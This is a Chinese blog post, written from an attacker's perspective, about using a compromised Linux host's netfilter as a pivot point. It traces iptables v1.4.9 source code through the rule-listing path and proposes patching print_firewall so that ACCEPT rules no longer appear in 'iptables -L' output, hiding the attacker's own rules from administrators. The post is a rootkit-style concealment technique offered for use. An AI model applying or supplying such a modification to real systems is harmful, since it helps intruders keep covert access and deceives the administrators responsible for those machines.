最近在写一些关于netfilter作为跳板过程的一些文档,没办法,天然的跳板资源不用就太可惜了,实现起来很简单了,不过要让管理员也无法短时间内发现这台主机已经被我们作为跳板就稍微麻烦点了,看了下国外发布关于linux的rootkit,好像还没有针对这个来隐藏的,只能自己看看netfilter的源代码了。
通过iptables-V获得当前的netfilter版本信息(v1.4.9),然后从ftp://ftp.netfilter.org/pub/iptables/下载相对应的版本,解压打开文件iptables.c找到1408行
C代码
01.1408:case'L'://这是iptables–L所显示的规则
02.add_command(&command,CMD_LIST,
03.CMD_ZERO|CMD_ZERO_NUM,invert);//设置command标志位
04.if(optarg)chain=optarg;
05.elseif(optind<argc&&argv[optind][0]!='-'
06.&&argv[optind][0]!='!')
07.chain=argv[optind++];
08.if(optind<argc&&argv[optind][0]!='-'
09.&&argv[optind][0]!='!')
10.rulenum=parse_rulenumber(argv[optind++]);
11.break;
add_command最终返回的command的值,其中CMD_LIST、CMD_ZERO、CMD_ZERO_NUM已经进行了宏定义,得到相关值计算就可以知道返回的command的值
C代码
01.switch(command){//对比command的值来执行
02.//省略部分代码
03.caseCMD_LIST:
04.caseCMD_LIST|CMD_ZERO:
05.caseCMD_LIST|CMD_ZERO_NUM:
06.ret=list_entries(chain,
07.rulenum,
08.options&OPT_VERBOSE,
09.options&OPT_NUMERIC,
10.options&OPT_EXPANDED,
11.options&OPT_LINENUMBERS,
12.*handle);
13.if(ret&&(command&CMD_ZERO))
14.ret=zero_entries(chain,
15.options&OPT_VERBOSE,*handle);
16.if(ret&&(command&CMD_ZERO_NUM))
17.ret=iptc_zero_counter(chain,rulenum,*handle);
18.break;
19.//省略部分代码
20.}
这里就可以知道我们返回的command值下面干了什么,从上面的代码就可以知道list_entries是返回的输出规则,下面是这个函数的部分代码
C代码
01.list_entries(constipt_chainlabelchain,intrulenum,intverbose,intnumeric,
02.intexpanded,intlinenumbers,structiptc_handle*handle)
03.{
04.//省略部分代码
05.while(i){
06.num++;
07.if(!rulenum||num==rulenum)//输出规则
08.print_firewall(i,
09.iptc_get_target(i,handle),
10.num,
11.format,
12.handle);
13.i=iptc_next_rule(i,handle);
14.}
15.//省略部分代码
16.}
这里终于知道了print_firewall就是打印每一条输出规则的函数了,这个函数中我们可以在之前对输入的内容进行判断,然后直接返回上面的while循环中执行下一条,例如下面
C++代码
01.if(strcmp(targname,"ACCEPT")==0){
02.return;
03.}
就可以屏蔽掉所有accept的规则了,如此我们就可以在输出规则中隐藏我们自己定义的规则。
*
|